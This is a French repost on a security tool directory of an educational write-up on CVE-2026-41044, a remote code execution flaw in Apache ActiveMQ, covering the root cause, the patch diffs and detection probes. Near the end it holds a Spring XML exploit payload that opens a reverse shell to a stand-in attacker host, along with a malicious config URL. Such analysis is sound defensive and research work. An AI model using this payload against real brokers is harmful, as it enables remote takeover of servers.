Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/mrillicit/cve-2026-41044
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionArticles et RechercheApprentissage et Éducation
GitHubmrillicit/cve-2026-41044

CVE-2026-41044

# Procédure pas à pas pédagogique et preuve de concept pour CVE-2026-41044, une RCE Apache ActiveMQ, avec analyse de la cause racine et script de détection.

Voir le dépôt
il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-41044

Note : À des fins éducatives uniquement

De l'avis de sécurité à l'analyse de cause racine en un après-midi : comment l'IA accélère l'analyse des N-day

Un retour d'expérience court et honnête sur CVE-2026-41044 dans Apache ActiveMQ, en utilisant le code exact avant et après le correctif.


CVE-2026-41044 a été divulguée le 24 avril 2026. Il s'agit d'un bug d'exécution de code à distance dans Apache ActiveMQ Classic, découvert par jsjcw, corrigé dans les versions 5.19.6 et 6.2.5. Je ne l'ai pas trouvée.

Ce que je veux montrer, c'est comment une personne qui n'a jamais touché à ActiveMQ peut produire un exploit fonctionnel d'une N-day en un après-midi, parce que le code corrigé est public, le code non corrigé est public, et l'écart entre les deux est à un git diff près.


Partie 1 : Le flux de travail

Le processus est simple :

  1. Lire l'avis de sécurité, noter les fichiers concernés, la CWE et les noms de fonctions mentionnés.
  2. Extraire côte à côte la dernière version vulnérable et la première version corrigée.
  3. Demander à un modèle de faire le diff des fichiers concernés et d'expliquer chaque modification.
  4. Reproduire la chaîne d'exploitation dans un laboratoire local et tester de bout en bout.

Ce qui prenait des jours prend maintenant un après-midi. L'IA ne trouve pas les bugs. Elle lit le code et l'explique aussi vite que vous posez des questions. La partie coûteuse reste vous : décider ce qui est réellement exploitable, où se trouvent les véritables frontières de confiance, ce qui nécessite une vérification. Le modèle parcourt simplement les graphes d'appels plus vite qu'aucun humain ne le peut.

Le point essentiel : si votre processus de correction suppose une semaine d'analyse par CVE, vous êtes sur l'ancienne échelle de temps. git diff a la même longueur, que vous écriviez des règles de détection ou des exploits.


Partie 2 : CVE-2026-41044

Qu'est-ce qu'ActiveMQ ?

ActiveMQ est un courtier de messages (message broker). Il se place au milieu et fait transiter les messages entre les applications. Considérez-le comme un bureau de poste : les applications déposent des messages, ActiveMQ les livre au bon destinataire. Il est largement déployé dans les piles Java d'entreprise et expose une console web ainsi qu'une API de gestion REST appelée Jolokia à /api/jolokia/. Dans de nombreux déploiements, les identifiants par défaut sont encore admin:admin.


La vulnérabilité en une phrase

ActiveMQ permettait à tout utilisateur authentifié de charger une configuration de courtier depuis une URL HTTP arbitraire, que Spring analysait et exécutait immédiatement sous forme d'objets Java - y compris ProcessBuilder - donnant à l'attaquant une exécution complète de commandes OS sur le serveur du courtier.


Contexte : les termes dont vous avez besoin

  • Broker : le serveur ActiveMQ en cours d'exécution. Identifié par un nom, par défaut localhost.
  • Jolokia : un pont HTTP-vers-JMX à /api/jolokia/ qui expose les opérations de gestion sous forme d'API REST. Toute identité valide de la console web y accède - pas seulement l'administrateur.
  • Transport vm:// : le transport intra-processus utilisé lorsqu'un client réside dans la même JVM que le courtier. Il accepte un paramètre de requête ?brokerConfig= pointant vers une configuration XML Spring pour amorcer un courtier.
  • xbean: : un schéma d'URL qui indique à ActiveMQ de traiter l'URL comme une configuration XML Spring et de la charger.
  • Beans Spring / init-method : Spring lit le XML et crée automatiquement des objets Java (beans). L'attribut init-method indique à Spring d'appeler une méthode sur le bean au moment de sa création - avant que quoi que ce soit d'autre ne s'exécute.
  • ProcessBuilder : une classe Java standard qui exécute des commandes OS. ProcessBuilder.start() exécute la commande.

La chaîne d'exploitation : cinq couches, code réel

Couche 1 - DestinationView construit une URL par concaténation de chaînes

DestinationView.sendTextMessage() dans la version 5.19.2 construit une URL de connexion au courtier en concaténant directement le nom du courtier dans une chaîne :

root@kitploit:~
// 5.19.2 - DestinationView.sendTextMessage()
String brokerUrl = "vm://" + broker.getBrokerName();
ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);

Si getBrokerName() renvoie localhost?brokerConfig=xbean:http://attacker/poison.xml, cette chaîne entière devient une URI vm:// valide avec un paramètre de requête intégré. ActiveMQConnectionFactory la transmet à VMTransportFactory, qui extrait le paramètre brokerConfig et l'utilise comme URL de configuration d'amorçage du courtier.

Le correctif dans la version 5.19.6 tient en une ligne :

root@kitploit:~
// 5.19.6 - DestinationView.sendTextMessage()
URI brokerUrl = broker.getVmConnectorURI();

String devient URI - la concaténation accidentelle n'est plus possible. La valeur provient d'un objet URI pré-construit et immuable dérivé du connecteur VM réellement enregistré du courtier, et non d'une chaîne de nom modifiable.


Couche 2 - Le point d'empoisonnement dans RegionBroker

Pour que la Couche 1 soit exploitable, le nom du courtier doit d'abord être empoisonné. BrokerService a toujours assaini les noms de courtiers :

root@kitploit:~
// BrokerService.setBrokerName() - présent dans LES DEUX versions
private static final String INVALID_BROKER_NAME_CHAR_REG_EXP = "[^a-zA-Z0-9._\\-:]";
brokerName.replaceAll(INVALID_BROKER_NAME_CHAR_REG_EXP, "_");

Cette expression régulière élimine proprement ? et =. La CVE existait parce que RegionBroker avait son propre setter séparé qui ne le faisait pas :

root@kitploit:~
// 5.19.2 - RegionBroker.java
private String brokerName;           // modifiable

public void setBrokerName(String brokerName) {
    this.brokerName = brokerName;    // aucune validation
}

C'est un cas classique de député confus (confused deputy) - deux setters sur des classes liées, un seul assainit. Un pair distant diffusant un paquet BrokerInfo falsifié avec un champ de nom empoisonné atteint directement RegionBroker.setBrokerName(), contournant entièrement l'expression régulière de BrokerService.

Le correctif dans la version 5.19.6 supprime le setter, rend le champ final et l'initialise une seule fois à partir du parent déjà assaini :

root@kitploit:~
// 5.19.6 - RegionBroker.java
private final String brokerName;     // immuable

public RegionBroker(BrokerService brokerService, ...) {
    this.brokerName = Objects.requireNonNull(
        brokerService.getBrokerName(), "The broker name cannot be null");
    // setBrokerName() a disparu. Il n'y a plus de setter.
}

On ne peut pas contourner un assainisseur qui n'a plus d'écrivain parallèle.


Couche 3 - VMTransportFactory : volontairement inchangée

VMTransportFactory.doCompositeConnect() est la fonction qui prend l'URI vm://...?brokerConfig=..., extrait le paramètre brokerConfig et appelle BrokerFactory.createBroker(brokerURI). C'est le mécanisme déclencheur de toute la chaîne.

Apache n'y a strictement rien changé.

Ce choix en dit long sur leur façon de concevoir le correctif. VMTransportFactory fait un travail légitime - les transports vm:// sont réellement censés accepter des configurations d'amorçage. La corriger aurait cassé la conception prévue. Au lieu de cela, Apache a corrigé le bug à la source (Couche 2 : aucun nom empoisonné ne peut être écrit) et au puits (Couche 5 : même si une URL empoisonnée passait, le résolveur de ressources ne la récupérerait pas).

Corrigez les couches où la validation a sa place, pas la couche par laquelle l'attaquant est passé par hasard.


Couche 4 - XBeanBrokerFactory transmet l'URI à Spring

root@kitploit:~
// XBeanBrokerFactory - identique dans les deux versions
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
    Resource resource = Utils.resourceFromString(uri);   // Couche 5
    return new ResourceXmlApplicationContext(resource) { ... };
}

ResourceXmlApplicationContext(resource) est l'endroit où Spring fait son travail - l'init-method de chaque bean s'exécute à la construction du contexte, avant que BrokerService d'ActiveMQ ne valide le résultat. Il n'y a rien à corriger ici. Le contrat de Spring est correct tel qu'il est conçu. Le bug venait du fait qu'ActiveMQ s'appuyait sur une validation avant l'instanciation, et Spring ne garantit pas cet ordre.


Couche 5 - Utils.resourceFromString : le véritable correctif primitif

C'est la fonction qui décidait si xbean:http://attacker/poison.xml devait être récupéré. Dans la version 5.19.2 :

root@kitploit:~
// 5.19.2 - Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
    if (new File(uri).exists()) {
        return new FileSystemResource(uri);
    } else if (ResourceUtils.isUrl(uri)) {
        return new UrlResource(ResourceUtils.getURL(uri));  // http ? ftp ? jar ? aucun contrôle.
    } else {
        return new ClassPathResource(uri);
    }
}

Aucun filtre de protocole. http://, https://, ftp://, jar:// - tous acceptés silencieusement.

Le correctif de la 5.19.6 ajoute une liste blanche explicite. Seuls file et classpath sont autorisés par défaut. Tout le reste lève une exception avant même que UrlResource ne soit construit :

root@kitploit:~
// 5.19.6 - Utils.java
public static final String FILE_PROTOCOL      = "file";
public static final String CLASSPATH_PROTOCOL = "classpath";

public static Resource resourceFromString(String uri, Set<String> allowedProtocols)
        throws MalformedURLException {
    // ...
    } else if (ResourceUtils.isUrl(uri)) {
        validateUrlAllowed(uri, allowedProtocols);           // lève une exception si http/https/etc
        resource = new UrlResource(ResourceUtils.getURL(uri));
    }
}

static void validateUrlAllowed(String uriString, Set<String> allowedProtocols)
        throws URISyntaxException {
    if (allowedProtocols != null) {
        final String detectedProtocol = getProtocolFromScheme(uriString);
        if (!allowedProtocols.contains(detectedProtocol)) {
            throw new IllegalArgumentException("URL [" + uriString +
                    "] uses protocol '" + detectedProtocol + "' which is not allowed");
        }
    }
}

XBeanBrokerFactory passe désormais {file, classpath} comme liste blanche. Même si un nom de courtier empoisonné atteignait cette fonction dans une version future, http://attacker/poison.xml lèverait une exception avant que Spring ne le voie.


À quoi ressemble la charge utile de l'exploit

root@kitploit:~
<beans xmlns="http://www.springframework.org/schema/beans" ...>
  <bean id="rce" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>/bin/sh</value>
        <value>-c</value>
        <value>bash -i &gt;&amp; /dev/tcp/attacker/4444 0&gt;&amp;1</value>
      </list>
    </constructor-arg>
  </bean>
</beans>

Au moment où Spring construit l'ApplicationContext, init-method="start" se déclenche sur le bean ProcessBuilder. La validation de BrokerService.start() d'ActiveMQ s'exécute ensuite. À ce moment-là, le shell a déjà établi la connexion retour.


À propos du PoC et des deux chemins

Il existe deux façons d'atteindre le puits vulnérable Utils.resourceFromString :

Le chemin de production complet (ce que décrit l'avis de sécurité) :

root@kitploit:~
Un pair distant envoie un paquet BrokerInfo falsifié
  -> RegionBroker.setBrokerName() stocke le nom empoisonné sans validation
    -> DestinationView.sendTextMessage() le concatène dans une URL vm://
      -> VMTransportFactory extrait le paramètre brokerConfig
        -> XBeanBrokerFactory -> Utils.resourceFromString -> RCE Spring

Le chemin court (ce qu'utilise poc.sh) :

root@kitploit:~
BrokerFactory.createBroker("xbean:http://attacker/poison.xml")
  -> XBeanBrokerFactory -> Utils.resourceFromString -> RCE Spring

Le PoC emprunte le chemin court pour une raison pratique : le chemin complet nécessite de mettre en place un second courtier ActiveMQ comme pair réseau qui envoie un paquet BrokerInfo falsifié à la cible - une interaction courtier-à-courtier qui exige une configuration de laboratoire plus complexe. Le chemin court fonctionne avec un seul courtier et un serveur HTTP de base.

Les deux chemins atteignent le même primitif vulnérable. Le PoC confirme que le puits est exploitable et que la CVE est présente sur la cible. Si vous voulez reproduire le point d'entrée exact décrit dans l'avis de sécurité, vous devez ajouter l'étape courtier-à-courtier.


Détection

Le PoC s'exécute en mode détection seule par défaut. Il sonde deux signaux :

Vérification de bannière - lit BrokerVersion via Jolokia :

  • < 5.19.6 ou 6.0.0 - 6.2.4 = plage vulnérable

Vérification de comportement - appelle addNetworkConnector("vm://probe") via Jolokia :

  • Version corrigée (5.19.6+) renvoie : Transport scheme 'vm' is not allowed
  • Version vulnérable renvoie une IOException DiscoveryAgent scheme NOT recognized

Le rejet sur la version corrigée provient de BrokerView.validateAllowedUrl() - une liste de blocage séparée ajoutée directement à l'opération JMX addNetworkConnector dans la 5.19.6, et non de Utils.resourceFromString. Ce sont deux correctifs indépendants : l'un protège la surface de gestion JMX, l'autre protège le primitif de chargement de ressources décrit dans la Couche 5. La sonde de comportement teste le premier.


Le correctif résumé

CoucheVulnérable (5.19.2)Corrigé (5.19.6)
DestinationViewconcaténation de chaîne "vm://" + brokerNamebroker.getVmConnectorURI() URI immuable
RegionBrokerchamp modifiable, setter non assainichamp final, setter supprimé, initialisé depuis le parent assaini
VMTransportFactoryinchangéeinchangée (par conception)
XBeanBrokerFactoryappelle Utils.resourceFromString(uri)appelle Utils.resourceFromString(uri, allowedProtocols)
Utils.resourceFromStringrécupère tout schéma d'URLliste blanche appliquée - seuls file et classpath par défaut

Références et crédits

  • Avis de sécurité Apache : CVE-2026-41044
  • Corrigée dans ActiveMQ Classic 5.19.6 et 6.2.5
  • Découverte de la vulnérabilité : jsjcw
  • CVE sœur pour contexte : CVE-2026-34197 (Horizon3.ai)
  • Le code de cet article est vérifié directement à partir des arborescences source 5.19.2 et 5.19.6
  • Guidé par Varshit Modi, généré avec l'assistance de l'IA.
Télécharger l’outil